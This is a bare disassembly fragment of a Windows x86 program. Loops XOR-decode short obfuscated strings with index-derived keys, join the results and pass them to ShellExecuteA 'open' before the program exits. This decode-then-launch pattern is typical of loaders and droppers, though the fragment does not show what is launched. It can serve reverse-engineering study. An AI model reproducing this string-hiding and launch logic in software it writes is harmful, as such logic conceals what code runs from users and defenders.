add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408caa
push edx
push ecx
call fcn.0042142c
add esp, 8
mov edx, dword [ebp - 0x7c]
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0xf
mov byte [ebp - 0x68], 0
cmp edx, 0x10
jb 0x4089f1
mov ecx, dword [ebp - 0x90]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4089e7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408caa
push edx
push ecx
call fcn.0042142c
add esp, 8
mov eax, dword [ebp - 0x94]
cmp eax, 0x10
jb 0x408a37
mov edx, dword [ebp - 0xa8]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x408a2d
mov edx, dword [edx - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408caa
jmp 0x408a2d
sub esi, dword [ebp - 4]
jmp 0x40895e
push ecx
push edx
call fcn.0042142c
add esp, 8
cmp esi, 0xffffffff
jne 0x408c1a
lea eax, [ebp - 0x44]
push eax
lea ecx, [ebp - 5]
call fcn.004065b0
mov edi, eax
cmp byte [edi + 0xb], 0
je 0x408bab
xor ecx, ecx
cmp dword [0x4527a8], 2
mov dword [ebp - 8], ecx
jl 0x408b76
movaps xmm2, xmmword [0x440580]
mov eax, 5
movaps xmm4, xmmword [0x440960]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov ecx, 8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
movd xmm5, eax
psrad xmm1, xmm5
mov eax, 0x1f
mov dword [ebp - 8], ecx
movaps xmm0, xmm1
movd xmm6, eax
mov eax, dword [str.3333333333333333M]
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x440950]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x4406f0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4405f0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [edi]
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [edi], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x440950]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4405f0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [edi + 4]
pxor xmm1, xmm0
movd dword [edi + 4], xmm1
mov eax, 0x92492493
lea esi, [ecx + edi]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov cl, al
shl cl, 3
sub cl, al
mov al, byte [ebp - 8]
shl cl, 3
sub al, cl
mov ecx, dword [ebp - 8]
add al, 0x33
inc ecx
xor byte [esi], al
mov dword [ebp - 8], ecx
cmp ecx, 0xc
jl 0x408b76
push edi
lea ecx, [ebp - 0xf4]
call fcn.00404740
mov dword [ebp - 0x1c], eax
lea ecx, [ebp - 5]
lea eax, [ebp - 2]
push eax
call fcn.004065d0
mov edi, eax
cmp byte [edi + 1], 0
je 0x408caf
xor ecx, ecx
mov dword [ebp - 8], ecx
nop word [eax + eax]
mov eax, 0x24924925
lea esi, [ecx + edi]
mul ecx
mov eax, ecx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
mov cl, al
shl cl, 3
sub cl, al
mov al, byte [ebp - 8]
shl cl, 3
sub al, cl
mov ecx, dword [ebp - 8]
add al, 0x33
inc ecx
xor byte [esi], al
mov dword [ebp - 8], ecx
cmp ecx, 2
jge 0x408caf
jmp 0x408be0
mov edx, dword [ebp - 0x19c]
cmp edx, 0x10
jb 0x408c54
mov ecx, dword [ebp - 0x1b0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x408c4a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408d33
push edx
push ecx
call fcn.0042142c
add esp, 8
lea ecx, [ebp - 0xdc]
mov dword [ebp - 0x1a0], 0
mov dword [ebp - 0x19c], 0xf
mov byte [ebp - 0x1b0], 0
call fcn.00401290
pop edi
mov al, 1
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.0042596f
push 0xffffffffffffffff
call fcn.00427496
call fcn.0042596f
call fcn.0042596f
call fcn.0042596f
call fcn.0042596f
call fcn.0042596f
call fcn.0042596f
push edi
lea ecx, [ebp - 0x90]
call fcn.00404740
push eax
lea eax, [ebp - 0xdc]
push eax
lea eax, [ebp - 0x170]
push eax
call fcn.004063c0
add esp, 0xc
push 1
push 0
push 0
push dword [ebp - 0x1c]
push eax
lea eax, [ebp - 0x188]
push eax
call fcn.004063a0
add esp, 0xc
mov ecx, eax
call fcn.004062b0
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [ebp - 0x188]
call fcn.00401290
lea ecx, [ebp - 0x170]
call fcn.00401290
lea ecx, [ebp - 0x90]
call fcn.00401290
lea ecx, [ebp - 0xf4]
call fcn.00401290
push 0
call fcn.00427496
call fcn.0042596f
int3